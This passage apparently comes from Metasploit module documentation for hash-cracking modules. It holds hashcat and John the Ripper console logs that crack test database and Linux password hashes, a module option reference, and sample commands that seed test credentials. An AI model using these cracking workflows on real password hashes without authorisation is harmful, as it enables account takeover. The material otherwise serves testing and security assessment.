[*] Cracking Command: /usr/bin/hashcat --session=jMcLuSDn --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=300 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mysql-sha1 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=jMcLuSDn --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=300 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
1382 mysql mysql_probe probe Wordlist
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
[*] Checking raw-sha1,oracle hashes already cracked...
[*] Cracking raw-sha1,oracle hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=zd9AkOJu --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking raw-sha1,oracle hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=zd9AkOJu --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking raw-sha1,oracle hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=zd9AkOJu --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
1382 mysql mysql_probe probe Wordlist
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
1386 raw-sha1,oracle DEMO epsilon Wordlist
1387 raw-sha1,oracle oracle11_epsilon epsilon Wordlist
[*] Checking oracle11 hashes already cracked...
[*] Cracking oracle11 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=t5k5I14z --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking oracle11 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=t5k5I14z --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking oracle11 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=t5k5I14z --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
1382 mysql mysql_probe probe Wordlist
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
1386 raw-sha1,oracle DEMO epsilon Wordlist
1387 raw-sha1,oracle oracle11_epsilon epsilon Wordlist
[*] Checking oracle12c hashes already cracked...
[*] Cracking oracle12c hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=7dadE1Lr --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12300 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking oracle12c hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=7dadE1Lr --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12300 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking oracle12c hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=7dadE1Lr --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12300 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
1382 mysql mysql_probe probe Wordlist
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
1386 raw-sha1,oracle DEMO epsilon Wordlist
1387 raw-sha1,oracle oracle11_epsilon epsilon Wordlist
1388 oracle12c oracle12c_epsilon epsilon Wordlist
[*] Checking dynamic_1034 hashes already cracked...
[*] Cracking dynamic_1034 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=xtcCnmBc --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking dynamic_1034 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=xtcCnmBc --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking dynamic_1034 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=xtcCnmBc --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
1382 mysql mysql_probe probe Wordlist
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
1386 raw-sha1,oracle DEMO epsilon Wordlist
1387 raw-sha1,oracle oracle11_epsilon epsilon Wordlist
1388 oracle12c oracle12c_epsilon epsilon Wordlist
1389 dynamic_1034 example password Wordlist
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
mssql05_toto 0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 Nonreplayable hash mssql05
mssql_foo 0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 Nonreplayable hash mssql
mssql12_Password1! 0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 Nonreplayable hash mssql12
mysql_probe 445ff82636a7ba59 Nonreplayable hash mysql
mysql-sha1_tere *5AD8F88516BD021DD43F171E2C785C69F8E54ADB Nonreplayable hash mysql-sha1
simon 4F8BC1809CB2AF77 Nonreplayable hash des,oracle
SYSTEM 9EEDFA0AD26C6D52 Nonreplayable hash des,oracle
DEMO S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
oracle11_epsilon S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
oracle12c_epsilon H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B Nonreplayable hash pbkdf2,oracle12c
example md5be86a79bf2043622d58d5453c47d4860 Postgres md5 raw-md5,postgres
mssql_foo FOO Password
mssql05_toto toto Password
mysql_probe probe Password
mysql-sha1_tere tere Password
oracle11_epsilon epsilon Password
DEMO epsilon Password
oracle12c_epsilon epsilon Password
example password Password
```
@@ -0,0 +1,664 @@
## Vulnerable Application
This module attempts to use a password cracker to decode Linux
based password hashes, such as:
* `DES` based passwords
* `MD5` based passwords
* `BSDi` based passwords
* `bf`, `bcrypt`, or `blowfish` based passwords
* `SHA256` based passwords
* `SHA512` based passwords
| Common | John | Hashcat |
|----------|-------------|-------- |
| des | descript | 1500 |
| md5 | md5crypt | 500 |
| bsdi | bsdicrypt | 12400 |
| blowfish | bcrypt | 3200 |
| sha256 | sha256crypt | 7400 |
| sha512 | sha512crypt | 1800 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `des`, `md5`, `bsdi`, `blowfish`, `sha512`, or `sha256` password hash in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_linux```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**BLOWFISH**
Crack Blowfish hashes. Default is `false`.
**BSDi**
Crack BSDi hashes. Default is `true`.
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DES**
Crack DES hashes. Default is `true`.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MD5**
Crack MD5 hashes. Default is `true`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHA256**
Crack SHA256 hashes. Default is `false`.
**SHA512**
Crack SHA12 hashes. Default is `false`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
echo "" > /root/.msf4/john.pot
echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
echo "\$1\$O3JMY.Tw\$AdLnLjQ/5jXF9.fakegHv/:password" >> /root/.msf4/john.pot
echo "test" > /tmp/wordlist
echo "password" >> /tmp/wordlist
echo "toto" >> /tmp/wordlist
creds add user:des2_password hash:rEK1ecacw.7.c jtr:des
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
creds add user:des_55 hash:rDpJV6xlcXxRM jtr:des
creds add user:des_pot_55 hash:fakeV6xlcXxRM jtr:des
creds add user:des_passphrase hash:qiyh4XPJGsOZ2MEAyLkfWqeQ jtr:des
creds add user:md5_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
creds add user:md52_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
creds add user:md5_pot_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.fakegHv/ jtr:md5
creds add user:bsdi_password hash:_J9..K0AyUubDrfOgO4s jtr:bsdi
creds add user:sha256_password hash:$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 jtr:sha256
creds add user:sha512_password hash:$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 jtr:sha512
creds add user:blowfish_password hash:$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe jtr:bf
```
### John the Ripper
We'll set `ITERATION_TIMEOUT 60` for a quick crack, `blowfish true`, `sha256 true`, `sha512 true` to handle the bfish, sha256 and sha512 hashes,
and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_linux
resource (hashes_hashcat.rb)> set blowfish true
blowfish => true
resource (hashes_hashcat.rb)> set sha256 true
sha256 => true
resource (hashes_hashcat.rb)> set sha512 true
sha512 => true
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-28293-u4ihgb
[*] Wordlist file written out to /tmp/jtrtmp20190531-28293-19rhhdd
[*] Checking md5crypt hashes already cracked...
[*] Cracking md5crypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:20) 100.0g/s 76800p/s 76800c/s 76800C/s test3:::..tere!
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking md5crypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking md5crypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking md5crypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1303 md5crypt md5_password password Single
1304 md5crypt md52_password password Single
1305 md5crypt md5_pot_password password Already Cracked/POT
[*] Checking descrypt hashes already cracked...
[*] Cracking descrypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:20) 100.0g/s 1102Kp/s 4410Kc/s 4410KC/s test3:::..t1900
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking descrypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
3g 0:00:00:00 DONE 1/3 (2019-05-31 15:20) 300.0g/s 614200p/s 614400c/s 614400C/s des_pass..Dde_pass
Warning: passwords printed above might be partial
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking descrypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking descrypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1298 descrypt des2_password password Single
1299 descrypt des_password password Single
1300 descrypt des_55 55 Normal
1301 descrypt des_pot_55 55 Already Cracked/POT
1302 descrypt des_passphrase passphrase Normal
1303 md5crypt md5_password password Single
1304 md5crypt md52_password password Single
1305 md5crypt md5_pot_password password Already Cracked/POT
[*] Checking bsdicrypt hashes already cracked...
[*] Cracking bsdicrypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:20) 50.00g/s 102400p/s 102400c/s 102400C/s test3:::..Tere6
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking bsdicrypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking bsdicrypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking bsdicrypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1298 descrypt des2_password password Single
1299 descrypt des_password password Single
1300 descrypt des_55 55 Normal
1301 descrypt des_pot_55 55 Already Cracked/POT
1302 descrypt des_passphrase passphrase Normal
1303 md5crypt md5_password password Single
1304 md5crypt md52_password password Single
1305 md5crypt md5_pot_password password Already Cracked/POT
1306 bsdicrypt bsdi_password password Single
[*] Checking bcrypt hashes already cracked...
[*] Cracking bcrypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:20) 33.33g/s 2400p/s 2400c/s 2400C/s test3:::..test::0
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking bcrypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking bcrypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking bcrypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1298 descrypt des2_password password Single
1299 descrypt des_password password Single
1300 descrypt des_55 55 Normal
1301 descrypt des_pot_55 55 Already Cracked/POT
1302 descrypt des_passphrase passphrase Normal
1303 md5crypt md5_password password Single
1304 md5crypt md52_password password Single
1305 md5crypt md5_pot_password password Already Cracked/POT
1306 bsdicrypt bsdi_password password Single
1309 bcrypt blowfish_password password Single
[*] Checking sha256crypt hashes already cracked...
[*] Cracking sha256crypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:20) 2.173g/s 8904p/s 8904c/s 8904C/s test3:::..1foo
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking sha256crypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking sha256crypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking sha256crypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1298 descrypt des2_password password Single
1299 descrypt des_password password Single
1300 descrypt des_55 55 Normal
1301 descrypt des_pot_55 55 Already Cracked/POT
1302 descrypt des_passphrase passphrase Normal
1303 md5crypt md5_password password Single
1304 md5crypt md52_password password Single
1305 md5crypt md5_pot_password password Already Cracked/POT
1306 bsdicrypt bsdi_password password Single
1307 sha256crypt sha256_password password Single
1309 bcrypt blowfish_password password Single
[*] Checking sha512crypt hashes already cracked...
[*] Cracking sha512crypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:20) 4.545g/s 4654p/s 4654c/s 4654C/s test3:::..test2::k
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking sha512crypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking sha512crypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking sha512crypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1298 descrypt des2_password password Single
1299 descrypt des_password password Single
1300 descrypt des_55 55 Normal
1301 descrypt des_pot_55 55 Already Cracked/POT
1302 descrypt des_passphrase passphrase Normal
1303 md5crypt md5_password password Single
1304 md5crypt md52_password password Single
1305 md5crypt md5_pot_password password Already Cracked/POT
1306 bsdicrypt bsdi_password password Single
1307 sha256crypt sha256_password password Single
1308 sha512crypt sha512_password password Single
1309 bcrypt blowfish_password password Single
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
des2_password rEK1ecacw.7.c Nonreplayable hash des
des_password rEK1ecacw.7.c Nonreplayable hash des
des_55 rDpJV6xlcXxRM Nonreplayable hash des
des_pot_55 fakeV6xlcXxRM Nonreplayable hash des
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
md5_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
md52_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
md5_pot_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.fakegHv/ Nonreplayable hash md5
